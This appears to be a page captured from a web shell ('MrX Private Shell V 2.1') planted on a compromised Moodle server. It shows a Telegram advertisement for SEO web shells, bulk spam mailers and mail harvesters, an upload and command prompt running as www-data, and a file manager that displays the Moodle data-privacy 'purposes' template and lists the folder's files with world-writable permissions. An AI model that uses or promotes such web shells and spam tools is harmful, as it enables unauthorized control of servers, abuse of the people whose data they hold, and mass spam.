__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
{{!
    This file is part of Moodle - http://moodle.org/

    Moodle is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Moodle is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
}}
{{!
    @template tool_dataprivacy/purposes

    Manage purposes.

    Classes required for JS:

    Data attributes required for JS:

    Context variables required for this template:
    * purposes - array of objects
    * actions - array of actions (already in HTML).

    Example context (json):
    {
        "purposesexist": 1,
        "purposes": [
            {
                "name" : "Purpose 1",
                "description": "<strong>Purpose 1 description</strong>",
                "retentionperiod": 86400,
                "protected": 1,
                "formattedretentionperiod": "1 day",
                "actions": [
                ]
            }, {
                "name" : "Purpose 2",
                "description": "<strong>Purpose 2 description</strong>",
                "retentionperiod": 7200,
                "protected": 0,
                "formattedretentionperiod": "2 hours",
                "actions": [
                ]
            }
        ]
    }

}}

{{#navigation}}
    <div class="mb-1">
        {{> core/action_link}}
    </div>
{{/navigation}}

<p>
  {{#str}}purposeoverview, tool_dataprivacy{{/str}}
</p>

<div data-region="purposes" class="mb-1">
    <div class="my-1">
        <button class="btn btn-secondary" data-add-element="purpose" title="{{#str}}addpurpose, tool_dataprivacy{{/str}}">
            {{#pix}}t/add, moodle, {{#str}}addpurpose, tool_dataprivacy{{/str}}{{/pix}}
        </button>
    </div>
    <table class="table table-striped table-hover">
        <caption class="accesshide">{{#str}}purposeslist, tool_dataprivacy{{/str}}</caption>
        <thead>
            <tr>
                <th scope="col" class="w-25">{{#str}}name{{/str}}</th>
                <th scope="col">{{#str}}lawfulbases, tool_dataprivacy{{/str}}</th>
                <th scope="col">{{#str}}sensitivedatareasons, tool_dataprivacy{{/str}}</th>
                <th scope="col">{{#str}}retentionperiod, tool_dataprivacy{{/str}}</th>
                <th scope="col">{{#str}}protected, tool_dataprivacy{{/str}}</th>
                <th scope="col">{{#str}}roleoverrides, tool_dataprivacy{{/str}}</th>
                <th scope="col">{{#str}}actions{{/str}}</th>
            </tr>
        </thead>
        <tbody>
            {{#purposes}}
            <tr data-purposeid="{{id}}">
                <td>
                    <dl>
                        <dt>
                            {{{name}}}
                        </dt>
                        <dd>
                            {{{description}}}
                        </dd>
                    </dl>
                </td>
                <td>
                    <ul class="list-unstyled">
                        {{#formattedlawfulbases}}
                            <li>
                                <span>{{name}}{{# pix }} i/info, core, {{description}} {{/ pix }}</span>
                            </li>
                        {{/formattedlawfulbases}}
                    </ul>
                </td>
                <td>
                    <ul class="list-unstyled">
                        {{#formattedsensitivedatareasons}}
                            <li>
                                <span>{{name}}{{# pix }} i/info, core, {{description}} {{/ pix }}</span>
                            </li>
                        {{/formattedsensitivedatareasons}}
                    </ul>
                </td>
                <td>{{formattedretentionperiod}}</td>
                <td>
                    {{#protected}}
                        {{#pix}}i/checked, core, {{#str}}yes{{/str}}{{/pix}}
                    {{/protected}}
                    {{^protected}}
                        {{#str}}no{{/str}}
                    {{/protected}}
                </td>
                <td>
                    {{#roleoverrides}}
                        {{#str}}yes{{/str}}
                    {{/roleoverrides}}
                    {{^roleoverrides}}
                        {{#str}}no{{/str}}
                    {{/roleoverrides}}
                </td>
                <td>
                    {{#actions}}
                        {{> core/action_menu}}
                    {{/actions}}
                </td>
            </tr>
            {{/purposes}}
        </tbody>
    </table>
    {{^purposes}}
        <p>
            {{#str}}nopurposes, tool_dataprivacy{{/str}}
        </p>
    {{/purposes}}
</div>

Filemanager

Name Type Size Permission Actions
categories.mustache File 2.68 KB 0777
category_purpose_form.mustache File 3.93 KB 0777
component_status.mustache File 4.12 KB 0777
context_tree_branches.mustache File 1.04 KB 0777
context_tree_node.mustache File 1.72 KB 0777
data_deletion.mustache File 3.12 KB 0777
data_registry.mustache File 1.79 KB 0777
data_registry_compliance.mustache File 3.66 KB 0777
data_request_email.mustache File 4.25 KB 0777
data_request_modal.mustache File 1.88 KB 0777
data_request_results_email.mustache File 1.72 KB 0777
data_requests.mustache File 2.43 KB 0777
data_requests_bulk_actions.mustache File 1.82 KB 0777
defaults_display.mustache File 2.42 KB 0777
defaults_page.mustache File 5.79 KB 0777
delete_activity_defaults.mustache File 1.22 KB 0777
form-user-selector-suggestion.mustache File 1.48 KB 0777
my_data_requests.mustache File 5.98 KB 0777
purposes.mustache File 4.98 KB 0777
request_details.mustache File 3.76 KB 0777
request_filter.mustache File 2.24 KB 0777
summary.mustache File 4.56 KB 0777
Filemanager